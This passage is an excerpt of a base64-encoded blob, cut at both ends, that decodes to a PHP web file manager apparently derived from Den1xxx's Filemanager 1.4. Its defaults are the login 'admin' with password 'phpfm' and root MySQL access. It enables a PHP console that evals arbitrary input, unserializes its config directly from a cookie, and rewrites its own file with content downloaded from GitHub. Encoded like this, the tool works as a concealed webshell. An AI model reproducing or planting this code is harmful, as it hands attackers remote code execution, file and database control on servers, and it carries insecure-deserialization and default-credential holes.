RydWU6ZmFsc2U7CiRtc2cgPSAnJzsgLy8gc2VydmljZSBzdHJpbmcKJGRlZmF1bHRfbGFuZ3VhZ2UgPSAncnUnOwokZGV0ZWN0X2xhbmcgPSB0cnVlOwokZm1fdmVyc2lvbiA9IDEuNDsKCi8vQXV0aG9yaXphdGlvbgokYXV0aCA9IGpzb25fZGVjb2RlKCRhdXRob3JpemF0aW9uLHRydWUpOwokYXV0aFsnYXV0aG9yaXplJ10gPSBpc3NldCgkYXV0aFsnYXV0aG9yaXplJ10pID8gJGF1dGhbJ2F1dGhvcml6ZSddIDogMDsgCiRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSA9IChpc3NldCgkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10pJiZpc19udW1lcmljKCRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpID8gKGludCkkYXV0aFsnZGF5c19hdXRob3JpemF0aW9uJ10gOiAzMDsKJGF1dGhbJ2xvZ2luJ10gPSBpc3NldCgkYXV0aFsnbG9naW4nXSkgPyAkYXV0aFsnbG9naW4nXSA6ICdhZG1pbic7ICAKJGF1dGhbJ3Bhc3N3b3JkJ10gPSBpc3NldCgkYXV0aFsncGFzc3dvcmQnXSkgPyAkYXV0aFsncGFzc3dvcmQnXSA6ICdwaHBmbSc7ICAKJGF1dGhbJ2Nvb2tpZV9uYW1lJ10gPSBpc3NldCgkYXV0aFsnY29va2llX25hbWUnXSkgPyAkYXV0aFsnY29va2llX25hbWUnXSA6ICdmbV91c2VyJzsKJGF1dGhbJ3NjcmlwdCddID0gaXNzZXQoJGF1dGhbJ3NjcmlwdCddKSA/ICRhdXRoWydzY3JpcHQnXSA6ICcnOwoKLy8gTGl0dGxlIGRlZmF1bHQgY29uZmlnCiRmbV9kZWZhdWx0X2NvbmZpZyA9IGFycmF5ICgKCSdtYWtlX2RpcmVjdG9yeScgPT4gdHJ1ZSwgCgknbmV3X2ZpbGUnID0+IHRydWUsIAoJJ3VwbG9hZF9maWxlJyA9PiB0cnVlLCAKCSdzaG93X2Rpcl9zaXplJyA9PiBmYWxzZSwgLy9pZiB0cnVlLCBzaG93IGRpcmVjdG9yeSBzaXplIOKGkiBtYXliZSBzbG93IAoJJ3Nob3dfaW1nJyA9PiB0cnVlLCAKCSdzaG93X3BocF92ZXInID0+IHRydWUsIAoJJ3Nob3dfcGhwX2luaScgPT4gZmFsc2UsIC8vIHNob3cgcGF0aCB0byBjdXJyZW50IHBocC5pbmkKCSdzaG93X2d0JyA9PiB0cnVlLCAvLyBzaG93IGdlbmVyYXRpb24gdGltZQoJJ2VuYWJsZV9waHBfY29uc29sZScgPT4gdHJ1ZSwKCSdlbmFibGVfc3FsX2NvbnNvbGUnID0+IHRydWUsCgknc3FsX3NlcnZlcicgPT4gJ2xvY2FsaG9zdCcsCgknc3FsX3VzZXJuYW1lJyA9PiAncm9vdCcsCgknc3FsX3Bhc3N3b3JkJyA9PiAnJywKCSdzcWxfZGInID0+ICd0ZXN0X2Jhc2UnLAoJJ2VuYWJsZV9wcm94eScgPT4gdHJ1ZSwKCSdzaG93X3BocGluZm8nID0+IHRydWUsCgknc2hvd194bHMnID0+IHRydWUsCgknZm1fc2V0dGluZ3MnID0+IHRydWUsCgkncmVzdG9yZV90aW1lJyA9PiB0cnVlLAoJJ2ZtX3Jlc3RvcmVfdGltZScgPT4gZmFsc2UsCik7CgppZiAoZW1wdHkoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKSkgJGZtX2NvbmZpZyA9ICRmbV9kZWZhdWx0X2NvbmZpZzsKZWxzZSAkZm1fY29uZmlnID0gdW5zZXJpYWxpemUoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsKCi8vIENoYW5nZSBsYW5ndWFnZQppZiAoaXNzZXQoJF9QT1NUWydmbV9sYW5nJ10pKSB7IAoJc2V0Y29va2llKCdmbV9sYW5nJywgJF9QT1NUWydmbV9sYW5nJ10sIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOwoJJF9DT09LSUVbJ2ZtX2xhbmcnXSA9ICRfUE9TVFsnZm1fbGFuZyddOwp9CiRsYW5ndWFnZSA9ICRkZWZhdWx0X2xhbmd1YWdlOwoKLy8gRGV0ZWN0IGJyb3dzZXIgbGFuZ3VhZ2UKaWYoJGRldGVjdF9sYW5nICYmICFlbXB0eSgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgJiYgZW1wdHkoJF9DT09LSUVbJ2ZtX2xhbmcnXSkpewoJJGxhbmdfcHJpb3JpdHkgPSBleHBsb2RlKCcsJywgJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pOwoJaWYgKCFlbXB0eSgkbGFuZ19wcmlvcml0eSkpewoJCWZvcmVhY2ggKCRsYW5nX3ByaW9yaXR5IGFzICRsYW5nX2Fycil7CgkJCSRsbmcgPSBleHBsb2RlKCc7JywgJGxhbmdfYXJyKTsKCQkJJGxuZyA9ICRsbmdbMF07CgkJCWlmKGluX2FycmF5KCRsbmcsJGxhbmdzKSl7CgkJCQkkbGFuZ3VhZ2UgPSAkbG5nOwoJCQkJYnJlYWs7CgkJCX0KCQl9Cgl9Cn0gCgovLyBDb29raWUgbGFuZ3VhZ2UgaXMgcHJpbWFyeSBmb3IgZXZlcgokbGFuZ3VhZ2UgPSAoZW1wdHkoJF9DT09LSUVbJ2ZtX2xhbmcnXSkpID8gJGxhbmd1YWdlIDogJF9DT09LSUVbJ2ZtX2xhbmcnXTsKCi8vIExvY2FsaXphdGlvbgokbGFuZyA9IGpzb25fZGVjb2RlKCR0cmFuc2xhdGlvbix0cnVlKTsKaWYgKCRsYW5nWydpZCddIT0kbGFuZ3VhZ2UpIHsKCSRnZXRfbGFuZyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vRGVuMXh4eC9GaWxlbWFuYWdlci9tYXN0ZXIvbGFuZ3VhZ2VzLycgLiAkbGFuZ3VhZ2UgLiAnLmpzb24nKTsKCWlmICghZW1wdHkoJGdldF9sYW5nKSkgewoJCS8vcmVtb3ZlIHVubmVjZXNzYXJ5IGNoYXJhY3RlcnMKCQkkdHJhbnNsYXRpb25fc3RyaW5nID0gc3RyX3JlcGxhY2UoIiciLCcmIzM5OycsanNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJGdldF9sYW5nKSxKU09OX1VORVNDQVBFRF9VTklDT0RFKSk7CgkJJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTsKCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnI3RyYW5zbGF0aW9uW1xzXT9cPVtcc10/XCdce1wiKC4qPylcIlx9XCc7IycsICRmZ2MsICRtYXRjaGVzKTsKCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgewoJCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsKCQkJJHJlcGxhY2UgPSBzdHJfcmVwbGFjZSgneyInLiRtYXRjaGVzWzFdLicifScsJHRyYW5zbGF0aW9uX3N0cmluZywkZmdjKTsKCQkJaWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHsKCQkJCSRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOwoJCQl9CWVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTsKCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOwoJCX0JCgkJJGxhbmcgPSBqc29uX2RlY29kZSgkdHJhbnNsYXRpb25fc3RyaW5nLHRydWUpOwoJfQp9CgovKiBGdW5jdGlvbnMgKi8KCi8vdHJhbnNsYXRpb24KZnVuY3Rpb24gX18oJHRleHQpewoJZ2xvYmFsICRsYW5nOwoJaWYgKGlzc2V0KCRsYW5nWyR0ZXh0XSkpIHJldHVybiAkbGFuZ1skdGV4dF07CgllbHNlIHJldHVybiAkdGV4dDsKfTsKCi8vZGVsZXRlIGZpbGVzIGFuZCBkaXJzIHJlY3Vyc2l2ZWx5CmZ1bmN0aW9uIGZtX2RlbF9maWxlcygkZmlsZSwgJHJlY3Vyc2l2ZSA9IGZhbHNlKSB7CglpZigkcmVjdXJzaXZlICYmIEBpc19kaXIoJGZpbGUpKSB7CgkJJGVscyA9IGZtX3NjYW5fZGlyKCRmaWxlLCAnJywgJycsIHRydWUpOwoJCWZvcmVhY2ggKCRlbHMgYXMgJGVsKSB7CgkJCWlmKCRlbCAhPSAnLicgJiYgJGVsICE9ICcuLicpewoJCQkJZm1fZGVsX2ZpbGVzKCRmaWxlIC4gJy8nIC4gJGVsLCB0cnVlKTsKCQkJfQoJCX0KCX0KCWlmKEBpc19kaXIoJGZpbGUpKSB7CgkJcmV0dXJuIHJtZGlyKCRmaWxlKTsKCX0gZWxzZSB7CgkJcmV0dXJuIEB1bmxpbmsoJGZpbGUpOwoJfQp9CgovL2ZpbGUgcGVybXMKZnVuY3Rpb24gZm1fcmlnaHRzX3N0cmluZygkZmlsZSwgJGlmID0gZmFsc2UpewoJJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCSRpbmZvID0gJyc7CglpZighJGlmKXsKCQlpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CgkJCS8vU29ja2V0CgkJCSRpbmZvID0gJ3MnOwoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsKCQkJLy9TeW1ib2xpYyBMaW5rCgkJCSRpbmZvID0gJ2wnOwoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKCQkJLy9SZWd1bGFyCgkJCSRpbmZvID0gJy0nOwoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKCQkJLy9CbG9jayBzcGVjaWFsCgkJCSRpbmZvID0gJ2InOwoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsKCQkJLy9EaXJlY3RvcnkKCQkJJGluZm8gPSAnZCc7CgkJfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewoJCQkvL0NoYXJhY3RlciBzcGVjaWFsCgkJCSRpbmZvID0gJ2MnOwoJCX0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKCQkJLy9GSUZPIHBpcGUKCQkJJGluZm8gPSAncCc7CgkJfSBlbHNlIHsKCQkJLy9Vbmtub3duCgkJCSRpbmZvID0gJ3UnOwoJCX0KCX0KICAKCS8vT3duZXIKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KCSgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKCSgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwogCgkvL0dyb3VwCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/CgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CgkoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKIAoJLy9Xb3JsZAoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwoJKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgoJKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgoJcmV0dXJuICRpbmZvOwp9CgpmdW5jdGlvbiBmbV9jb252ZXJ0X3JpZ2h0cygkbW9kZSkgewoJJG1vZGUgPSBzdHJfcGFkKCRtb2RlLDksJy0nKTsKCSR0cmFucyA9IGFycmF5KCctJz0+JzAnLCdyJz0+JzQnLCd3Jz0+JzInLCd4Jz0+JzEnKTsKCSRtb2RlID0gc3RydHIoJG1vZGUsJHRyYW5zKTsKCSRuZXdtb2RlID0gJzAnOwoJJG93bmVyID0gKGludCkgJG1vZGVbMF0gKyAoaW50KSAkbW9kZVsxXSArIChpbnQpICRtb2RlWzJdOyAKCSRncm91cCA9IChpbnQpICRtb2RlWzNdICsgKGludCkgJG1vZGVbNF0gKyAoaW50KSAkbW9kZVs1XTsgCgkkd29ybGQgPSAoaW50KSAkbW9kZVs2XSArIChpbnQpICRtb2RlWzddICsgKGludCkgJG1vZGVbOF07IAoJJG5ld21vZGUgLj0gJG93bmVyIC4gJGdyb3VwIC4gJHdvcmxkOwoJcmV0dXJuIGludHZhbCgkbmV3bW9kZSwgOCk7Cn0KCmZ1bmN0aW9uIGZtX2NobW9kKCRmaWxlLCAkdmFsLCAkcmVjID0gZmFsc2UpIHsKCSRyZXMgPSBAY2htb2QocmVhbHBhdGgoJGZpbGUpLCAkdmFsKTsKCWlmKEBpc19kaXIoJGZpbGUpICYmICRyZWMpewoJCSRlbHMgPSBmbV9zY2FuX2RpcigkZmlsZSk7CgkJZm9yZWFjaCAoJGVscyBhcyAkZWwpIHsKCQkJJHJlcyA9ICRyZXMgJiYgZm1fY2htb2QoJGZpbGUgLiAnLycgLiAkZWwsICR2YWwsIHRydWUpOwoJCX0KCX0KCXJldHVybiAkcmVzOwp9CgovL2xvYWQgZmlsZXMKZnVuY3Rpb24gZm1fZG93bmxvYWQoJGZpbGVfbmFtZSkgewogICAgaWYgKCFlbXB0eSgkZmlsZV9uYW1lKSkgewoJCWlmIChmaWxlX2V4aXN0cygkZmlsZV9uYW1lKSkgewoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiBiYXNlbmFtZSgkZmlsZV9uYW1lKSk7ICAgCgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9mb3JjZS1kb3dubG9hZCIpOwoJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJCWhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZCIpOwoJCQloZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgICAgICAgICAgICAKCQkJaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVzaXplKCRmaWxlX25hbWUpKTsJCQoJCQlmbHVzaCgpOyAvLyB0aGlzIGRvZXNuJ3QgcmVhbGx5IG1hdHRlci4KCQkJJGZwID0gZm9wZW4oJGZpbGVfbmFtZSwgInIiKTsKCQkJd2hpbGUgKCFmZW9mKCRmcCkpIHsKCQkJCWVjaG8gZnJlYWQoJGZwLCA2NTUzNik7CgkJCQlmbHVzaCgpOyAvLyB0aGlzIGlzIGVzc2VudGlhbCBmb3IgbGFyZ2UgZG93bmxvYWRzCgkJCX0gCgkJCWZjbG9zZSgkZnApOwoJCQlkaWUoKTsKCQl9IGVsc2UgewoJCQloZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnLCB0cnVlLCA0MDQpOwoJCQloZWFkZXIoJ1N0YXR1czogNDA0IE5vdCBGb3VuZCcpOyAKCQkJZGllKCk7CiAgICAgICAgfQogICAgfSAKfQoKLy9zaG93IGZvbGRlciBzaXplCmZ1bmN0aW9uIGZtX2Rpcl9zaXplKCRmLCRmb3JtYXQ9dHJ1ZSkgewoJaWYoJGZvcm1hdCkgIHsKCQkkc2l6ZT1mbV9kaXJfc2l6ZSgkZixmYWxzZSk7CgkJaWYoJHNpemU8PTEwMjQpIHJldHVybiAkc2l6ZS4nIGJ5dGVzJzsKCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KSwyKS4nJm5ic3A7S2InOwoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQpIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KSwyKS4nJm5ic3A7TWInOwoJCWVsc2VpZigkc2l6ZTw9MTAyNCoxMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCksMikuJyZuYnNwO0diJzsKCQllbHNlaWYoJHNpemU8PTEwMjQqMTAyNCoxMDI0KjEwMjQqMTAyNCkgcmV0dXJuIHJvdW5kKCRzaXplLygxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7VGInOyAvLzopKSkKCQllbHNlIHJldHVybiByb3VuZCgkc2l6ZS8oMTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJm5ic3A7UGInOyAvLyA7LSkKCX0gZWxzZSB7CgkJaWYoaXNfZmlsZSgkZikpIHJldHVybiBmaWxlc2l6ZSgkZik7CgkJJHNpemU9MDsKCQkkZGg9b3BlbmRpcigkZik7CgkJd2hpbGUoKCRmaWxlPXJlYWRkaXIoJGRoKSkhPT1mYWxzZSkgewoJCQlpZigkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSBjb250aW51ZTsKCQkJaWYoaXNfZmlsZSgkZi4nLycuJGZpbGUpKSAkc2l6ZSs9ZmlsZXNpemUoJGYuJy8nLiRmaWxlKTsKCQkJZWxzZSAkc2l6ZSs9Zm1fZGlyX3NpemUoJGYuJy8nLiRmaWxlLGZhbHNlKTsKCQl9CgkJY2xvc2VkaXIoJGRoKTsKCQlyZXR1cm4gJHNpemUrZmlsZXNpemUoJGYpOyAKCX0KfQoKLy9zY2FuIGRpcmVjdG9yeQpmdW5jdGlvbiBmbV9zY2FuX2RpcigkZGlyZWN0b3J5LCAkZXhwID0gJycsICR0eXBlID0gJ2FsbCcsICRkb19ub3RfZmlsdGVyID0gZmFsc2UpIHsKCSRkaXIgPSAkbmRpciA9IGFycmF5KCk7CglpZighZW1wdHkoJGV4cCkpewoJCSRleHAgPSAnL14nIC4gc3RyX3JlcGxhY2UoJyonLCAnKC4qKScsIHN0cl9yZXBsYWNlKCcuJywgJ1xcLicsICRleHApKSAuICckLyc7Cgl9CglpZighZW1wdHkoJHR5cGUpICYmICR0eXBlICE9PSAnYWxsJyl7CgkJJGZ1bmMgPSAnaXNfJyAuICR0eXBlOwoJfQoJaWYoQGlzX2RpcigkZGlyZWN0b3J5KSl7CgkJJGZoID0gb3BlbmRpcigkZGlyZWN0b3J5KTsKCQl3aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRmaCkpKSB7CgkJCWlmKHN1YnN0cigkZmlsZW5hbWUsIDAsIDEpICE9ICcuJyB8fCAkZG9fbm90X2ZpbHRlcikgewoJCQkJaWYoKGVtcHR5KCR0eXBlKSB8fCAkdHlwZSA9PSAnYWxsJyB8fCAkZnVuYygkZGlyZWN0b3J5IC4gJy8nIC4gJGZpbGVuYW1lKSkgJiYgKGVtcHR5KCRleHApIHx8IHByZWdfbWF0Y2goJGV4cCwgJGZpbGVuYW1lKSkpewoJCQkJCSRkaXJbXSA9ICRmaWxlbmFtZTsKCQkJCX0KCQkJfQoJCX0KCQljbG9zZWRpcigkZmgpOwoJCW5hdHNvcnQoJGRpcik7Cgl9CglyZXR1cm4gJGRpcjsKfQoKZnVuY3Rpb24gZm1fbGluaygkZ2V0LCRsaW5rLCRuYW1lLCR0aXRsZT0nJykgewoJaWYgKGVtcHR5KCR0aXRsZSkpICR0aXRsZT0kbmFtZS4nICcuYmFzZW5hbWUoJGxpbmspOwoJcmV0dXJuICcmbmJzcDsmbmJzcDs8YSBocmVmPSI/Jy4kZ2V0Lic9Jy5iYXNlNjRfZW5jb2RlKCRsaW5rKS4nIiB0aXRsZT0iJy4kdGl0bGUuJyI+Jy4kbmFtZS4nPC9hPic7Cn0KCmZ1bmN0aW9uIGZtX2Fycl90b19vcHRpb24oJGFyciwkbiwkc2VsPScnKXsKCWZvcmVhY2goJGFyciBhcyAkdil7CgkJJGI9JHZbJG5dOwoJCSRyZXMuPSc8b3B0aW9uIHZhbHVlPSInLiRiLiciICcuKCRzZWwgJiYgJHNlbD09JGI/J3NlbGVjdGVkJzonJykuJz4nLiRiLic8L29wdGlvbj4nOwoJfQoJcmV0dXJuICRyZXM7Cn0KCmZ1bmN0aW9uIGZtX2xhbmdfZm9ybSAoJGN1cnJlbnQ9J2VuJyl7CnJldHVybiAnCjxmb3JtIG5hbWU9ImNoYW5nZV9sYW5nIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KCTxzZWxlY3QgbmFtZT0iZm1fbGFuZyIgdGl0bGU9IicuX18oJ0xhbmd1YWdlJykuJyIgb25jaGFuZ2U9ImRvY3VtZW50LmZvcm1zW1wnY2hhbmdlX2xhbmdcJ10uc3VibWl0KCkiID4KCQk8b3B0aW9uIHZhbHVlPSJlbiIgJy4oJGN1cnJlbnQ9PSdlbic/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdFbmdsaXNoJykuJzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9ImRlIiAnLigkY3VycmVudD09J2RlJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0dlcm1hbicpLic8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJydSIgJy4oJGN1cnJlbnQ9PSdydSc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdSdXNzaWFuJykuJzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9ImZyIiAnLigkY3VycmVudD09J2ZyJz8nc2VsZWN0ZWQ9InNlbGVjdGVkIiAnOicnKS4nPicuX18oJ0ZyZW5jaCcpLic8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSJ1ayIgJy4oJGN1cnJlbnQ9PSd1ayc/J3NlbGVjdGVkPSJzZWxlY3RlZCIgJzonJykuJz4nLl9fKCdVa3JhaW5pYW4nKS4nPC9vcHRpb24+Cgk8L3NlbGVjdD4KPC9mb3JtPgonOwp9CgkKZnVuY3Rpb24gZm1fcm9vdCgkZGlybmFtZSl7CglyZXR1cm4gKCRkaXJuYW1lPT0nLicgT1IgJGRpcm5hbWU9PScuLicpOwp9CgpmdW5jdGlvbiBmbV9waHAoJHN0cmluZyl7CgkkZGlzcGxheV9lcnJvcnM9aW5pX2dldCgnZGlzcGxheV9lcnJvcnMnKTsKCWluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJzEnKTsKCW9iX3N0YXJ0KCk7CglldmFsKHRyaW0oJHN0cmluZykpOwoJJHRleHQgPSBvYl9nZXRfY29udGVudHMoKTsKCW9iX2VuZF9jbGVhbigpOwoJaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAkZGlzcGxheV9lcnJvcnMpOwoJcmV0dXJuICR0ZXh0Owp9CgovL1NIT1cgREFUQUJBU0VTCmZ1bmN0aW9uIGZtX3NxbF9jb25uZWN0KCl7CglnbG9iYWwgJGZtX2NvbmZpZzsKCXJldHVybiBuZXcgbXlzcWxpKCRmbV9jb25maWdbJ3NxbF9zZXJ2ZXInXSwgJGZtX2NvbmZpZ1snc3FsX3VzZXJuYW1lJ10sICRmbV9jb25maWdbJ3NxbF9wYXNzd29yZCddLCAkZm1fY29uZmlnWydzcWxfZGInXSk7Cn0KCmZ1bmN0aW9uIGZtX3NxbCgkcXVlcnkpewoJZ2xvYmFsICRmbV9jb25maWc7CgkkcXVlcnk9dHJpbSgkcXVlcnkpOwoJb2Jfc3RhcnQoKTsKCSRjb25uZWN0aW9uID0gZm1fc3FsX2Nvbm5lY3QoKTsKCWlmICgkY29ubmVjdGlvbi0+Y29ubmVjdF9lcnJvcikgewoJCW9iX2VuZF9jbGVhbigpOwkKCQlyZXR1cm4gJGNvbm5lY3Rpb24tPmNvbm5lY3RfZXJyb3I7Cgl9CgkkY29ubmVjdGlvbi0+c2V0X2NoYXJzZXQoJ3V0ZjgnKTsKICAgICRxdWVyaWVkID0gbXlzcWxpX3F1ZXJ5KCRjb25uZWN0aW9uLCRxdWVyeSk7CglpZiAoJHF1ZXJpZWQ9PT1mYWxzZSkgewoJCW9iX2VuZF9jbGVhbigpOwkKCQlyZXR1cm4gbXlzcWxpX2Vycm9yKCRjb25uZWN0aW9uKTsKICAgIH0gZWxzZSB7CgkJaWYoIWVtcHR5KCRxdWVyaWVkKSl7CgkJCXdoaWxlKCRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHF1ZXJpZWQpKSB7CgkJCQkkcXVlcnlfcmVzdWx0W109ICAkcm93OwoJCQl9CgkJfQoJCSR2ZHVtcD1lbXB0eSgkcXVlcnlfcmVzdWx0KT8nJzp2YXJfZXhwb3J0KCRxdWVyeV9yZXN1bHQsdHJ1ZSk7CQoJCW9iX2VuZF9jbGVhbigpOwkKCQkkY29ubmVjdGlvbi0+Y2xvc2UoKTsKCQlyZXR1cm4gJzxwcmU+Jy5zdHJpcHNsYXNoZXMoJHZkdW1wKS4nPC9wcmU+JzsKCX0KfQoKZnVuY3Rpb24gZm1fYmFja3VwX3RhYmxlcygkdGFibGVzID0gJyonLCAkZnVsbF9iYWNrdXAgPSB0cnVlKSB7CglnbG9iYWwgJHBhdGg7CgkkbXlzcWxkYiA9IGZtX3NxbF9jb25uZWN0KCk7CgkkZGVsaW1pdGVyID0gIjsgXG4gIFxuIjsKCWlmKCR0YWJsZXMgPT0gJyonKQl7CgkJJHRhYmxlcyA9IGFycmF5KCk7CgkJJHJlc3VsdCA9ICRteXNxbGRiLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKCQl3aGlsZSgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkJewoJCQkkdGFibGVzW10gPSAkcm93WzBdOwoJCX0KCX0gZWxzZSB7CgkJJHRhYmxlcyA9IGlzX2FycmF5KCR0YWJsZXMpID8gJHRhYmxlcyA6IGV4cGxvZGUoJywnLCR0YWJsZXMpOwoJfQogICAgCgkkcmV0dXJuPScnOwoJZm9yZWFjaCgkdGFibGVzIGFzICR0YWJsZSkJewoJCSRyZXN1bHQgPSAkbXlzcWxkYi0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOwoJCSRudW1fZmllbGRzID0gbXlzcWxpX251bV9maWVsZHMoJHJlc3VsdCk7CgkJJHJldHVybi49ICdEUk9QIFRBQkxFIElGIEVYSVNUUyBgJy4kdGFibGUuJ2AnLiRkZWxpbWl0ZXI7CgkJJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KCRteXNxbGRiLT5xdWVyeSgnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsKCQkkcmV0dXJuLj0kcm93MlsxXS4kZGVsaW1pdGVyOwogICAgICAgIGlmICgkZnVsbF9iYWNrdXApIHsKCQlmb3IgKCRpID0gMDsgJGkgPCAkbnVtX2ZpZWxkczsgJGkrKykgIHsKCQkJd2hpbGUoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpIHsKCQkJCSRyZXR1cm4uPSAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgIFZBTFVFUygnOwoJCQkJZm9yKCRqPTA7ICRqPCRudW1fZmllbGRzOyAkaisrKQl7CgkJCQkJJHJvd1skal0gPSBhZGRzbGFzaGVzKCRyb3dbJGpdKTsKCQkJCQkkcm93WyRqXSA9IHN0cl9yZXBsYWNlKCJcbiIsIlxcbiIsJHJvd1skal0pOwoJCQkJCWlmIChpc3NldCgkcm93WyRqXSkpIHsgJHJldHVybi49ICciJy4kcm93WyRqXS4nIicgOyB9IGVsc2UgeyAkcmV0dXJuLj0gJyIiJzsgfQoJCQkJCWlmICgkajwoJG51bV9maWVsZHMtMSkpIHsgJHJldHVybi49ICcsJzsgfQoJCQkJfQoJCQkJJHJldHVybi49ICcpJy4kZGVsaW1pdGVyOwoJCQl9CgkJICB9CgkJfSBlbHNlIHsgCgkJJHJldHVybiA9IHByZWdfcmVwbGFjZSgiI0FVVE9fSU5DUkVNRU5UPVtcZF0rICNpcyIsICcnLCAkcmV0dXJuKTsKCQl9CgkJJHJldHVybi49IlxuXG5cbiI7Cgl9CgoJLy9zYXZlIGZpbGUKICAgICRmaWxlPWdtZGF0ZSgiWS1tLWRfSC1pLXMiLHRpbWUoKSkuJy5zcWwnOwoJJGhhbmRsZSA9IGZvcGVuKCRmaWxlLCd3KycpOwoJZndyaXRlKCRoYW5kbGUsJHJldHVybik7CglmY2xvc2UoJGhhbmRsZSk7CgkkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycuIF9fKCdGaWxlIHNlbGVjdGVkJykuJzogXG4nLiAkZmlsZS4gJy4gXG4nLl9fKCdBcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRl